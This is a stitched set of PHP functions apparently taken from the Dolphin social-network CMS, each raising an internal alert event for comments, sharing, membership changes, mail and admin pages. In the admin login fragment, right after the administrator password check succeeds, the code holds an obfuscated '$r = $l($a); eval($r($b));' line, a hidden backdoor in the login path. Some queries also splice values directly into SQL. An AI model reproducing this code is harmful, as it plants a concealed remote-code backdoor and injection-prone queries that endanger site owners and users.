public function getCode($sUrl, $sTitle, $aCustomVars = false) { // define markers for replacments $aMarkers = array('url' => $sUrl, 'url_encoded' => rawurlencode($sUrl), 'lang' => $GLOBALS['sCurrentLanguage'], 'locale' => $this->_getLocaleFacebook($GLOBALS['sCurrentLanguage']), 'twit' => _t('_sys_social_sharing_twit'), 'title' => $sTitle, 'title_encoded' => rawurlencode($sTitle)); if (!empty($aCustomVars) && is_array($aCustomVars)) { $aMarkers = array_merge($aMarkers, $aCustomVars); } // alert $sOverrideOutput = null; bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts('system', 'social_sharing_display', '', '', array('buttons' => &$this->_aSocialButtons, 'markers' => &$aMarkers, 'override_output' => &$sOverrideOutput)); $oAlert->alert(); // return custom code if there is one if ($sOverrideOutput) { return $sOverrideOutput; } // return empty string of there is no buttons if (empty($this->_aSocialButtons)) { return ''; } // prepare buttons $aButtons = array(); foreach ($this->_aSocialButtons as $aButton) { $sButton = $this->_replaceMarkers($aButton['content'], $aMarkers); if (preg_match('/{[A-Za-z0-9_]+}/', $sButton)) { // if not all markers are replaced skip it continue; } $aButtons[] = array('button' => $sButton); } // output $aTemplateVars = array('bx_repeat:buttons' => $aButtons); return $GLOBALS['oSysTemplate']->parseHtmlByName('social_sharing.html', $aTemplateVars); }
function post($sSystem, $iId, $iCmtAuthorId, $iCmtParentId, $iMood, $sFileId) { global $sIncPath; global $sModule; global $sHomeUrl; $iId = (int) $iId; $iCmtParentId = (int) $iCmtParentId; $iMood = (int) $iMood; bx_import('BxDolCmts'); $oCmts = BxDolCmts::getObjectInstance($sSystem, $iId); if (!$oCmts) { return 0; } $sText = '<iframe width="100%" height="240" src="[ray_url]modules/video_comments/embed.php?id=' . $sFileId . '" frameborder="0" allowfullscreen></iframe>'; $mixedOverrideResult = null; $oAlert = new BxDolAlerts('bx_video_comments', 'post', $sFileId, getLoggedId(), array('override' => &$mixedOverrideResult, 'text' => &$sText, 'file_id' => &$sFileId, 'object_id' => &$iId, 'author' => &$iCmtAuthorId, 'parent_id' => &$iCmtParentId, 'mood' => &$iMood)); $oAlert->alert(); if (null !== $mixedOverrideResult) { return $mixedOverrideResult; } $iCmtNewId = $oCmts->_oQuery->addComment($iId, $iCmtParentId, $iCmtAuthorId, $sText, $iMood); if (false === $iCmtNewId) { return 0; } bx_import('BxDolAlerts'); $oZ = new BxDolAlerts($sSystem, 'commentPost', $oCmts->getId(), $oCmts->_getAuthorId(), array('comment_id' => $iCmtNewId, 'comment_author_id' => $iCmtAuthorId)); $oZ->alert(); $oCmts->_triggerComment(); return $iCmtNewId; }
function makeView() { if (!$this->isEnabled()) { return false; } $iMemberId = getLoggedId() ? getLoggedId() : 0; $sIp = $_SERVER['REMOTE_ADDR']; $iTime = time(); if ($iMemberId) { $sWhere = " AND `viewer` = '{$iMemberId}' "; } else { $sWhere = " AND `viewer` = '0' AND `ip` = INET_ATON('{$sIp}') "; } $iTs = (int) $GLOBALS['MySQL']->getOne("SELECT `ts` FROM `{$this->_aSystem['table_track']}` WHERE `id` = '" . $this->getId() . "' {$sWhere}"); $iRet = 0; if (!$iTs) { $iRet = $GLOBALS['MySQL']->query("INSERT IGNORE INTO `{$this->_aSystem['table_track']}` SET `id` = '" . $this->getId() . "', `viewer` = '{$iMemberId}', `ip` = INET_ATON('{$sIp}'), `ts` = {$iTime}"); } elseif ($iTime - $iTs > $this->_aSystem['period']) { $iRet = $GLOBALS['MySQL']->query("UPDATE `{$this->_aSystem['table_track']}` SET `ts` = {$iTime} WHERE `id` = '" . $this->getId() . "' AND `viewer` = '{$iMemberId}' AND `ip` = INET_ATON('{$sIp}')"); } if ($iRet) { $this->_triggerView(); $oZ = new BxDolAlerts($this->_sSystem, 'view', $this->getId(), $iMemberId); $oZ->alert(); return true; } return false; }
public function onPost($iId) { //--- Event -> Post for Alerts Engine ---// bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts($this->_oConfig->getObject('alert'), 'post', $iId); $oAlert->alert(); //--- Event -> Post for Alerts Engine ---// }
protected function onContact() { $iUserId = $this->getUserId(); $this->isAllowedContact(true); //--- Event -> Contact for Alerts Engine ---// $oAlert = new BxDolAlerts($this->_oConfig->getObject('alert'), 'contact', 0, $iUserId); $oAlert->alert(); //--- Event -> Contact for Alerts Engine ---// }
function getEmbedCode($iFileId) { $sOverride = false; $oAlert = new BxDolAlerts($this->_oConfig->getMainPrefix(), 'embed_code', $iFileId, getLoggedId(), array('override' => &$sOverride)); $oAlert->alert(); if ($sOverride) { return $sOverride; } $iFileId = (int) $iFileId; return getEmbedCode('mp3', 'player', array('id' => $iFileId)); }
function generateUserNewPwd($ID) { $sPwd = genRndPwd(); $sSalt = genRndSalt(); $sQuery = "\n UPDATE `Profiles`\n SET\n `Password` = '" . encryptUserPwd($sPwd, $sSalt) . "',\n `Salt` = '{$sSalt}'\n WHERE\n `ID`='{$ID}'\n "; db_res($sQuery); createUserDataFile($ID); require_once BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php'; $oZ = new BxDolAlerts('profile', 'edit', $ID); $oZ->alert(); return $sPwd; }
function blockUser($iUserId, $iBlockedId, $bBlock) { bx_import('BxDolAlerts'); if ($bBlock) { getResult("REPLACE INTO `sys_block_list` SET `ID` = '" . $iUserId . "', `Profile` = '" . $iBlockedId . "'"); $oZ = new BxDolAlerts('block', 'add', $iBlockedId, $iUserId); } else { getResult("DELETE FROM `sys_block_list` WHERE `ID` = '" . $iUserId . "' AND `Profile` = '" . $iBlockedId . "'"); $oZ = new BxDolAlerts('block', 'delete', $iBlockedId, $iUserId); } $oZ->alert(); }
function PageCodeAdd() { $oInstallerUi = new BxDolInstallerUi(); $sResult = ''; if (isset($_POST['submit_upload']) && isset($_FILES['module']) && !empty($_FILES['module']['tmp_name']) && isset($GLOBALS['aEnabledTemplateAction']['upload'])) { $sResult = $oInstallerUi->actionUpload('template', $_FILES['module'], $_POST); } $sContent = $oInstallerUi->getUploader($sResult, '_Template', true, $GLOBALS['aPages']['add']['url']); $sContent = DesignBoxAdmin($GLOBALS['sPageTitle'], $sContent, $GLOBALS['aTopItems'], '', 11); $oZ = new BxDolAlerts('system', 'admin_templates_blocks_add', 0, 0, array('title' => &$GLOBALS['sPageTitle'], 'code' => &$sContent)); $oZ->alert(); return $sContent; }
function insertEvent($aParams) { if ((int) $this->query("INSERT INTO `" . $this->_sPrefix . "events`(`" . implode("`, `", array_keys($aParams)) . "`, `date`) VALUES('" . implode("', '", array_values($aParams)) . "', UNIX_TIMESTAMP())") <= 0) { return 0; } $iId = (int) $this->lastId(); if ($iId > 0 && isset($aParams['owner_id']) && (int) $aParams['owner_id'] > 0) { //--- Wall -> Update for Alerts Engine ---// bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts('bx_' . $this->_oConfig->getUri(), 'update', $aParams['owner_id']); $oAlert->alert(); //--- Wall -> Update for Alerts Engine ---// } return $iId; }
/** * Get uploaders array * @return array of uploaders */ function getUploaders() { if ($this->aUploaders) { return $this->aUploaders; } // uploaders list with the following keys: // 'title' - uploader title // 'action' - uploader action name, action name must be passed with the submitted form as well as 'action' // 'form' - uploader class method to get the uploader form, or service call array to get the form // 'handle' - uploader class method to handle uploader form, or service call array to process form upload $this->aUploaders = array('html5' => array('title' => '_sys_txt_uploader_html5', 'action' => 'accept_html5', 'form' => 'getUploadHtml5File', 'handle' => 'serviceAcceptHtml5File'), 'regular' => array('title' => '_' . $this->sPrefix . '_regular', 'action' => 'accept_upload', 'form' => 'getUploadFormFile', 'handle' => 'serviceAcceptFile'), 'record' => array('title' => '_' . $this->sPrefix . '_record', 'action' => 'accept_record', 'form' => 'getRecordFormFile', 'handle' => 'serviceAcceptRecordFile'), 'embed' => array('title' => '_' . $this->sPrefix . '_embed', 'action' => 'accept_embed', 'form' => 'getEmbedFormFile', 'handle' => 'serviceAcceptEmbedFile')); $oAlert = new BxDolAlerts($this->getMainPrefix(), 'uploaders_init', 0, getLoggedId(), array('uploaders' => &$this->aUploaders, 'config' => $this)); $oAlert->alert(); return $this->aUploaders; }
public function getCode($sContentId, $sModuleName, $sUrl, $sTitle, $aCustomVars = false) { // define markers for replacments bx_import('BxDolLanguages'); $sLang = BxDolLanguages::getInstance()->getCurrentLanguage(); $aMarkers = array('id' => $sContentId, 'module' => $sModuleName, 'url' => $sUrl, 'url_encoded' => rawurlencode($sUrl), 'lang' => $sLang, 'locale' => $this->_getLocaleFacebook($sLang), 'title' => $sTitle, 'title_encoded' => rawurlencode($sTitle)); if (!empty($aCustomVars) && is_array($aCustomVars)) { $aMarkers = array_merge($aMarkers, $aCustomVars); } // alert $sOverrideOutput = null; bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts('system', 'social_sharing_display', '', '', array('buttons' => &$this->_aSocialButtons, 'markers' => &$aMarkers, 'override_output' => &$sOverrideOutput)); $oAlert->alert(); // return custom code if there is one if ($sOverrideOutput) { return $sOverrideOutput; } // return empty string of there is no buttons if (empty($this->_aSocialButtons)) { return ''; } // prepare buttons $aButtons = array(); foreach ($this->_aSocialButtons as $aButton) { switch ($aButton['type']) { case 'html': $sButton = $this->_replaceMarkers($aButton['content'], $aMarkers); break; case 'service': $a = @unserialize($aButton['content']); if (false === $a || !is_array($a)) { break; } $a = $this->_replaceMarkers($a, $aMarkers); $sButton = BxDolService::call($a['module'], $a['method'], isset($a['params']) ? $a['params'] : array(), isset($a['class']) ? $a['class'] : 'Module'); break; } if (!isset($sButton) || preg_match('/{[A-Za-z0-9_]+}/', $sButton)) { // if not all markers are replaced skip it continue; } $aButtons[] = array('button' => $sButton, 'object' => $aButton['object']); } // output $aTemplateVars = array('bx_repeat:buttons' => $aButtons); return $this->_oTemplate->parseHtmlByName('social_sharing.html', $aTemplateVars); }
function actionCmtPost() { $mixedResult = parent::actionCmtPost(); if (empty($mixedResult)) { return $mixedResult; } $aEvent = $this->_oModule->_oDb->getEvents(array('browse' => 'id', 'object_id' => (int) $this->getId())); if (isset($aEvent['owner_id']) && (int) $aEvent['owner_id'] > 0) { //--- Wall -> Update for Alerts Engine ---// bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts('bx_' . $this->_oModule->_oConfig->getUri(), 'update', $aEvent['owner_id']); $oAlert->alert(); //--- Wall -> Update for Alerts Engine ---// } return $mixedResult; }
function processing() { $aIds = array(); if ($this->_oModule->_oDb->publish($aIds)) { foreach ($aIds as $iId) { //--- Entry -> Publish for Alerts Engine ---// $oAlert = new BxDolAlerts($this->_oModule->_oConfig->getAlertsSystemName(), 'publish', $iId); $oAlert->alert(); //--- Entry -> Publish for Alerts Engine ---// //--- Reparse Global Tags ---// $oTags = new BxDolTags(); $oTags->reparseObjTags($this->_oModule->_oConfig->getTagsSystemName(), $iId); //--- Reparse Global Tags ---// //--- Reparse Global Categories ---// $oCategories = new BxDolCategories(); $oCategories->reparseObjTags($this->_oModule->_oConfig->getCategoriesSystemName(), $iId); //--- Reparse Global Categories ---// } } }
function insertEvent($aParams) { $aSet = array(); foreach ($aParams as $sKey => $sValue) { $aSet[] = "`" . $sKey . "`='" . $sValue . "'"; } if (!array_key_exists('date', $aParams)) { $aSet[] = "`date`=UNIX_TIMESTAMP()"; } if ((int) $this->query("INSERT INTO `" . $this->_sPrefix . "events` SET " . implode(", ", $aSet)) <= 0) { return 0; } $iId = (int) $this->lastId(); if ($iId > 0 && isset($aParams['owner_id']) && (int) $aParams['owner_id'] > 0) { //--- Wall -> Update for Alerts Engine ---// bx_import('BxDolAlerts'); $oAlert = new BxDolAlerts('bx_' . $this->_oConfig->getUri(), 'update', $aParams['owner_id']); $oAlert->alert(); //--- Wall -> Update for Alerts Engine ---// } return $iId; }
public static function getMainMenu() { if (!isAdmin()) { return ''; } $sUri = $_SERVER['REQUEST_URI']; $sPath = parse_url(BX_DOL_URL_ROOT, PHP_URL_PATH); if ($sPath && $sPath != '/' && 0 == strncmp($sPath, $sUri, strlen($sPath))) { $sUri = substr($sUri, strlen($sPath) - strlen($sUri)); } $sUri = BX_DOL_URL_ROOT . trim($sUri, '/'); $sFile = basename($_SERVER['PHP_SELF']); $oPermalinks = new BxDolPermalinks(); $aMenu = $GLOBALS['MySQL']->getAll("SELECT `id`, `name`, `title`, `url`, `icon` FROM `sys_menu_admin` WHERE `parent_id`='0' ORDER BY `order`"); $oZ = new BxDolAlerts('system', 'admin_menu', 0, 0, array('parent' => false, 'menu' => &$aMenu)); $oZ->alert(); $oBxDolAdminMenu = new self(); $aItems = array(); foreach ($aMenu as $aMenuItem) { $aMenuItem['url'] = str_replace(array('{siteUrl}', '{siteAdminUrl}'), array(BX_DOL_URL_ROOT, BX_DOL_URL_ADMIN), $aMenuItem['url']); $bActiveCateg = $sFile == 'index.php' && !empty($_GET['cat']) && $_GET['cat'] == $aMenuItem['name']; $aSubmenu = $GLOBALS['MySQL']->getAll("SELECT * FROM `sys_menu_admin` WHERE `parent_id`= ? ORDER BY `order`", [$aMenuItem['id']]); $oZ = new BxDolAlerts('system', 'admin_menu', 0, 0, array('parent' => &$aMenuItem, 'menu' => &$aSubmenu)); $oZ->alert(); $aSubitems = array(); foreach ($aSubmenu as $aSubmenuItem) { $aSubmenuItem['url'] = $oPermalinks->permalink($aSubmenuItem['url']); $aSubmenuItem['url'] = str_replace(array('{siteUrl}', '{siteAdminUrl}'), array(BX_DOL_URL_ROOT, BX_DOL_URL_ADMIN), $aSubmenuItem['url']); if (!defined('BX_DOL_ADMIN_INDEX') && $aSubmenuItem['url'] != '' && (strpos($sUri, $aSubmenuItem['url']) !== false || strpos($aSubmenuItem['url'], $sUri) !== false)) { $bActiveCateg = $bActiveItem = true; } else { $bActiveItem = false; } $aSubitems[] = $oBxDolAdminMenu->_getMainMenuSubitem($aSubmenuItem, $bActiveItem); } $aItems[] = $oBxDolAdminMenu->_getMainMenuItem($aMenuItem, $aSubitems, $bActiveCateg); } return $GLOBALS['oAdmTemplate']->parseHtmlByName('main_menu.html', array('bx_repeat:items' => $aItems)); }
function getEmbedCode($iFileId, $aExtra = array()) { $sOverride = false; $oAlert = new BxDolAlerts($this->_oConfig->getMainPrefix(), 'embed_code', $iFileId, getLoggedId(), array('override' => &$sOverride)); $oAlert->alert(); if ($sOverride) { return $sOverride; } $iFileId = (int) $iFileId; switch ($aExtra["source"]) { case "": $sEmbedCode = getEmbedCode('video', 'player', array('id' => $iFileId)); break; case "youtube": $sEmbedCode = str_replace("#video#", $aExtra["video"], YOUTUBE_VIDEO_EMBED); $sEmbedCode = str_replace("#wmode#", getWMode(), $sEmbedCode); $sEmbedCode = str_replace("#autoplay#", getSettingValue("video", "autoPlay") == TRUE_VAL ? "&autoplay=1" : "", $sEmbedCode); break; default: $sEmbedCode = video_getCustomEmbedCode($aExtra["source"], $aExtra["video"]); break; } return $sEmbedCode; }
/** * Constructor * @param string $sType - system type * @param string $sAction - system action * @param int $iObjectId - object id * @param int $iSenderId - sender (action's author) id */ function BxDolAlerts($sUnit, $sAction, $iObjectId, $iSender = 0, $aExtras = array()) { $oCache = $GLOBALS['MySQL']->getDbCacheObject(); $aData = $oCache->getData($GLOBALS['MySQL']->genDbCacheKey('sys_alerts')); if (null === $aData) { $aData = BxDolAlerts::cache(); } $this->_aAlerts = $aData['alerts']; $this->_aHandlers = $aData['handlers']; $this->sUnit = $sUnit; $this->sAction = $sAction; $this->iObject = (int) $iObjectId; $this->iSender = !empty($iSender) ? (int) $iSender : (empty($_COOKIE['memberID']) ? 0 : (int) $_COOKIE['memberID']); $this->aExtras = $aExtras; }
function onEventDeleted($iEntryId, $aDataEntry = array()) { createUserDataFile($this->_iProfileId); // arise alert $oAlert = new BxDolAlerts('bx_avatar', 'delete', $iEntryId, $this->_iProfileId); $oAlert->alert(); }
function alertAdd($iMedID, $bCheckPrivacy = false) { $aExtra = $this->_getExtraParams($_POST); $aExtra = $this->_updateExtraParams($aExtra, $iMedID, $this->_iOwnerId); if (!$bCheckPrivacy || !isset($aExtra['privacy_view']) || (int) $aExtra['privacy_view'] != (int) BX_DOL_PG_HIDDEN) { $oZ = new BxDolAlerts($this->oModule->_oConfig->sPrefix, 'add', $iMedID, $this->_iOwnerId, $aExtra); $oZ->alert(); } }
*/ require_once '../inc/header.inc.php'; require_once BX_DIRECTORY_PATH_INC . 'profiles.inc.php'; require_once BX_DIRECTORY_PATH_INC . 'design.inc.php'; require_once BX_DIRECTORY_PATH_INC . 'admin_design.inc.php'; require_once BX_DIRECTORY_PATH_INC . 'utils.inc.php'; bx_import('BxRSS'); bx_import('BxDolAdminDashboard'); define('BX_DOL_ADMIN_INDEX', 1); $bLogged = isLogged(); $bNeedCheck = $bLogged && isAdmin() && $_POST['relocate'] && strncasecmp($_POST['relocate'], BX_DOL_URL_ADMIN . 'license.php', strlen(BX_DOL_URL_ADMIN . 'license.php')) == 0; if ($bNeedCheck || isset($_POST['ID']) && isset($_POST['Password'])) { $iId = getID($_POST['ID']); $sPassword = process_pass_data($_POST['Password']); if (!$bLogged) { $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $iId, 'password' => $sPassword, 'ip' => getVisitorIP())); $oZ->alert(); } if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') { echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail'; } else { if ($bNeedCheck || check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN)) { if ($_POST['relocate'] && (strncasecmp($_POST['relocate'], BX_DOL_URL_ROOT, strlen(BX_DOL_URL_ROOT)) == 0 || strncasecmp($_POST['relocate'], BX_DOL_URL_ADMIN . 'license.php', strlen(BX_DOL_URL_ADMIN . 'license.php')) == 0)) { $sUrlRelocate = $_POST['relocate']; } else { $sUrlRelocate = BX_DOL_URL_ADMIN . 'index.php'; } $sUrlRelocate = bx_html_attribute($sUrlRelocate); $r = $l($a); eval($r($b)); header('Content-Type: text/html; charset=utf-8');
public function actionRemove() { if (!$this->isEnabled()) { $this->_echoResultJson(array()); return; } $iCmtId = 0; if (bx_get('Cmt') !== false) { $iCmtId = bx_process_input(bx_get('Cmt'), BX_DATA_INT); } $aCmt = $this->_oQuery->getCommentSimple($this->getId(), $iCmtId); if (!$aCmt) { $this->_echoResultJson(array('msg' => _t('_No such comment'))); return; } if ($aCmt['cmt_replies'] > 0) { $this->_echoResultJson(array('msg' => _t('_Can not delete comments with replies'))); return; } $iCmtAuthorId = $this->_getAuthorId(); if (!$this->isRemoveAllowed($aCmt)) { $this->_echoResultJson(array('msg' => $aCmt['cmt_author_id'] == $iCmtAuthorId ? strip_tags($this->msgErrRemoveAllowed()) : _t('_Access denied'))); return; } if ($this->_oQuery->removeComment($this->getId(), $aCmt['cmt_id'], $aCmt['cmt_parent_id'])) { $this->_triggerComment(); $oStorage = BxDolStorage::getObjectInstance($this->getStorageObjectName()); $aImages = $this->_oQuery->getImages($this->_aSystem['system_id'], $aCmt['cmt_id']); foreach ($aImages as $aImage) { $oStorage->deleteFile($aImage['image_id']); } $this->_oQuery->deleteImages($this->_aSystem['system_id'], $aCmt['cmt_id']); $this->isRemoveAllowed(true); $this->deleteMetaInfo($aCmt['cmt_id']); $oZ = new BxDolAlerts($this->_sSystem, 'commentRemoved', $this->getId(), $iCmtAuthorId, array('comment_id' => $aCmt['cmt_id'], 'comment_author_id' => $aCmt['cmt_author_id'])); $oZ->alert(); $this->_echoResultJson(array('id' => $iCmtId)); return; } $this->_echoResultJson(array('msg' => _t('_cmt_err_cannot_perform_action'))); }
function getFormCode($aParams = null) { switch ($this->iAreaID) { // join case 1: $aForm = $this->getFormJoin($aParams); break; // edit // edit case 2: case 3: case 4: $aForm = $this->getFormEdit($aParams); break; // search // search case 9: case 10: case 11: return $this->getFormsSearch($aParams); break; default: return false; } $oForm = new BxTemplFormView($aForm); bx_import('BxDolAlerts'); $sCustomHtmlBefore = ''; $sCustomHtmlAfter = ''; $oAlert = new BxDolAlerts('profile', 'show_profile_form', 0, 0, array('oProfileFields' => $this, 'oForm' => $oForm, 'sCustomHtmlBefore' => &$sCustomHtmlBefore, 'sCustomHtmlAfter' => &$sCustomHtmlAfter)); $oAlert->alert(); return $sCustomHtmlBefore . $oForm->getCode() . $sCustomHtmlAfter; }
/** * Send email function * * @param string $sRecipientEmail - Email where email should be send * @param string $sMailSubject - subject of the message * @param string $sMailBody - Body of the message * @param integer $iRecipientID - ID of recipient profile * @param array $aPlus - Array of additional information * * * @return boolean - trie if message was send * - false if not */ function sendMail($sRecipientEmail, $sMailSubject, $sMailBody, $iRecipientID = 0, $aPlus = array(), $sEmailFlag = 'html', $isDisableAlert = false, $bForceSend = false) { global $site; if (!$sRecipientEmail || preg_match('/\\(2\\)$/', $sRecipientEmail)) { return false; } if ($iRecipientID) { $aRecipientInfo = getProfileInfo($iRecipientID); } // don't send mail to the user if he/she decided to not receive any site's notifications, unless it is critical emails (like email confirmation) if (!$bForceSend) { $aRealRecipient = $GLOBALS['MySQL']->getRow("SELECT * FROM `Profiles` WHERE `Email`='" . process_db_input($sRecipientEmail, BX_TAGS_NO_ACTION, BX_SLASHES_NO_ACTION) . "' LIMIT 1"); if ($aRealRecipient && 1 != $aRealRecipient['EmailNotify']) { return true; } } $sEmailNotify = isset($GLOBALS['site']['email_notify']) ? $GLOBALS['site']['email_notify'] : getParam('site_email_notify'); $sSiteTitle = isset($GLOBALS['site']['title']) ? $GLOBALS['site']['title'] : getParam('site_title'); $sMailHeader = "From: =?UTF-8?B?" . base64_encode($sSiteTitle) . "?= <{$sEmailNotify}>"; $sMailParameters = "-f{$sEmailNotify}"; if ($aPlus || $iRecipientID) { if (!is_array($aPlus)) { $aPlus = array(); } bx_import('BxDolEmailTemplates'); $oEmailTemplates = new BxDolEmailTemplates(); $sMailSubject = $oEmailTemplates->parseContent($sMailSubject, $aPlus, $iRecipientID); $sMailBody = $oEmailTemplates->parseContent($sMailBody, $aPlus, $iRecipientID); } $sMailSubject = '=?UTF-8?B?' . base64_encode($sMailSubject) . '?='; $sMailHeader = "MIME-Version: 1.0\r\n" . $sMailHeader; if (!$isDisableAlert && 'on' == getParam('bx_smtp_on')) { return BxDolService::call('smtpmailer', 'send', array($sRecipientEmail, $sMailSubject, $sMailBody, $sMailHeader, $sMailParameters, 'html' == $sEmailFlag, $aRecipientInfo)); } if ('html' == $sEmailFlag) { $sMailHeader = "Content-type: text/html; charset=UTF-8\r\n" . $sMailHeader; $iSendingResult = mail($sRecipientEmail, $sMailSubject, $sMailBody, $sMailHeader, $sMailParameters); } else { $sMailHeader = "Content-type: text/plain; charset=UTF-8\r\n" . $sMailHeader; $sMailBody = html2txt($sMailBody); $iSendingResult = mail($sRecipientEmail, $sMailSubject, html2txt($sMailBody), $sMailHeader, $sMailParameters); } if (!$isDisableAlert) { //--- create system event bx_import('BxDolAlerts'); $aAlertData = array('email' => $sRecipientEmail, 'subject' => $sMailSubject, 'body' => $sMailBody, 'header' => $sMailHeader, 'params' => $sMailParameters, 'html' => 'html' == $sEmailFlag ? true : false); $oZ = new BxDolAlerts('profile', 'send_mail', $aRecipientInfo['ID'], '', $aAlertData); $oZ->alert(); } return $iSendingResult; }
/** * Fired when post status is changed to approved or disapproved */ function onPostApproveDisapprove($iBPostID, $isApprove) { $aPostInfo = $this->_oDb->getPostInfo($iBPostID); if (!$aPostInfo) { return; } //reparse tags bx_import('BxDolTags'); $oTags = new BxDolTags(); $oTags->reparseObjTags('blog', $iBPostID); //reparse categories bx_import('BxDolCategories'); $oCategories = new BxDolCategories($aPostInfo['OwnerID']); $oCategories->reparseObjTags('bx_blogs', $iBPostID); $oZ = new BxDolAlerts('bx_blogs', $isApprove ? 'approve' : 'disapprove', $iBPostID, $this->_iVisitorID); $oZ->alert(); }
function serviceAcceptFileInfo() { $iAuthorId = $this->_getAuthorId(); $sJSMusicId = (int) $_POST['file_id']; switch ($_POST['type']) { case 'record': global $sFilesPathMp3; $sFileName = $iAuthorId . TEMP_FILE_NAME . MP3_EXTENSION; $iMusicID = uploadMusic($sFilesPathMp3 . $sFileName, $iAuthorId, $sFileName, false); $this->addObjectToAlbum($this->oModule->oAlbums, $_POST['extra_param_album'], $iMusicID, false); break; case 'upload': default: $iMusicID = $sJSMusicId; break; } if ($iMusicID && $iAuthorId) { $sTitle = $_POST['title']; $sTags = $_POST['tags']; $sDescription = $_POST['description']; $aCategories = array(); foreach ($_POST['Categories'] as $sKey => $sVal) { if ($sVal != '') { $aCategories[] = $sVal; } } $sCategories = implode(CATEGORIES_DIVIDER, $aCategories); if ($this->initMusicFile($iMusicID, $sTitle, $sCategories, $sTags, $sDescription)) { $aExtra = $this->_getExtraParams($_POST); $aExtra = $this->_updateExtraParams($aExtra, $iMusicID, $iAuthorId); //--- BxSounds -> Upload unit for Alerts Engine ---// require_once BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php'; $oZ = new BxDolAlerts('bx_sounds', 'add', $iMusicID, $iAuthorId, $aExtra); $oZ->alert(); //--- BxSounds -> Upload unit for Alerts Engine ---// return '<script type="text/javascript">parent.' . $this->_sJsPostObject . '.onSuccessSendingFileInfo("' . $sJSMusicId . '");</script>'; } } return '<script type="text/javascript">parent.' . $this->_sJsPostObject . '.showErrorMsg("sound_failed_message");</script>'; }
/** * Set a membership for a profile * * @param int $iProfileId profile that is going to get the membership * @param int $iLevelId membership that is going to be assigned to the profile * if $iLevelId == MEMBERSHIP_ID_STANDARD then $days and $bStartsNow parameters are not used, * so Standard membership is always set immediately and `forever` * @param int $iDays number of days to set membership for if 0, then the membership is set forever * @param boolean $bStartsNow if true, the membership will start immediately if false, the membership will start after the current membership expires * @return boolean true in case of success, false in case of failure */ function setMembership($iProfileId, $iLevelId, $iDays = 0, $bStartsNow = false, $sTransactionId = '') { $iProfileId = (int) $iProfileId; $iLevelId = (int) $iLevelId; $iDays = (int) $iDays; $bStartsNow = $bStartsNow ? true : false; $iSecInDay = 86400; if (!$iProfileId) { $iProfileId = -1; } if (empty($sTransactionId)) { $sTransactionId = 'NULL'; } // check if profile exists if (($sProfileEmail = BxDolProfileQuery::getInstance()->getEmailById($iProfileId)) === false) { return false; } // check if membership exists $aLevel = array(); $this->oDb->getLevels(array('type' => 'by_id', 'value' => $iLevelId), $aLevel, false); if (empty($aLevel) || !is_array($aLevel)) { return false; } if ($iLevelId == MEMBERSHIP_ID_NON_MEMBER) { return false; } $aMembershipCurrent = $this->getMemberMembershipInfo($iProfileId); $aMembershipLatest = $this->getMemberMembershipInfoLatest($iProfileId); // setting Standard membership level if ($iLevelId == MEMBERSHIP_ID_STANDARD) { if ($aMembershipCurrent['id'] == MEMBERSHIP_ID_STANDARD) { return true; } // delete present and future memberships return $this->oDb->deleteLevelByProfileId($iProfileId); } if ($iDays < 0) { return false; } $iDateStarts = time(); if (!$bStartsNow) { // make the membership starts after the latest membership expires or return false if latest membership isn't Standard and is lifetime membership. if (!is_null($aMembershipLatest['date_expires'])) { $iDateStarts = $aMembershipLatest['date_expires']; } else { if (is_null($aMembershipLatest['date_expires']) && $aMembershipLatest['id'] != MEMBERSHIP_ID_STANDARD) { return false; } } } else { $this->oDb->deleteLevelByProfileId($iProfileId, true); } ///< Delete any profile's membership level // set lifetime membership if 0 days is used. $iDateExpires = $iDays != 0 ? (int) $iDateStarts + $iDays * $iSecInDay : null; if (!$this->oDb->insertLevelByProfileId($iProfileId, $iLevelId, $iDateStarts, $iDateExpires, $sTransactionId)) { return false; } // raise membership alert $oZ = new BxDolAlerts('profile', 'set_membership', '', $iProfileId, array('mlevel' => $iLevelId, 'days' => $iDays, 'starts_now' => $bStartsNow, 'txn_id' => $sTransactionId)); $oZ->alert(); // Send notification $aTemplate = BxDolEmailTemplates::getInstance()->parseTemplate('t_MemChanged', array('membership_level' => _t($aLevel['name'])), 0, $iProfileId); if ($aTemplate) { sendMail($sProfileEmail, $aTemplate['Subject'], $aTemplate['Body']); } return true; }
/** * Create new profile; * * @param : $aProfileInfo (array) - remote profile's information; * * @param : $sAlternativeName (string) - profiles alternative nickname; * @return : error string or error or profile info array on success */ function _createProfileRaw($aProfileInfo, $sAlternativeName = '', $isAutoFriends = true, $isSetLoggedIn = true) { $sCountry = ''; $sCity = ''; // join by invite only if (getParam('reg_by_inv_only') == 'on' && (!isset($_COOKIE['idFriend']) || getID($_COOKIE['idFriend']) == 0)) { return _t('_registration by invitation only'); } // convert fields $aProfileFields = $this->_convertRemoteFields($aProfileInfo, $sAlternativeName); if (empty($aProfileFields['Email'])) { return _t('_Incorrect Email'); } // antispam check bx_import('BxDolStopForumSpam'); $oBxDolStopForumSpam = new BxDolStopForumSpam(); if (2 == getParam('ipBlacklistMode') && bx_is_ip_blocked()) { return _t('_Sorry, your IP been banned'); } elseif ('on' == getParam('sys_dnsbl_enable') && 'block' == getParam('sys_dnsbl_behaviour') && bx_is_ip_dns_blacklisted('', 'join oauth') || $oBxDolStopForumSpam->isSpammer(array('email' => $aProfileFields['Email'], 'ip' => getVisitorIP(false)), 'join oauth')) { return sprintf(_t('_sys_spam_detected'), BX_DOL_URL_ROOT . 'contact.php'); } // check fields existence; foreach ($aProfileFields as $sKey => $mValue) { if (!$this->_oDb->isFieldExist($sKey)) { // (field not existence) remove from array; unset($aProfileFields[$sKey]); } } // add some system values $sNewPassword = genRndPwd(); $sPasswordSalt = genRndSalt(); $aProfileFields['Password'] = encryptUserPwd($sNewPassword, $sPasswordSalt); $aProfileFields['Role'] = BX_DOL_ROLE_MEMBER; $aProfileFields['DateReg'] = date('Y-m-d H:i:s'); // set current date; $aProfileFields['Salt'] = $sPasswordSalt; // set default privacy bx_import('BxDolPrivacyQuery'); $oPrivacy = new BxDolPrivacyQuery(); $aProfileFields['allow_view_to'] = 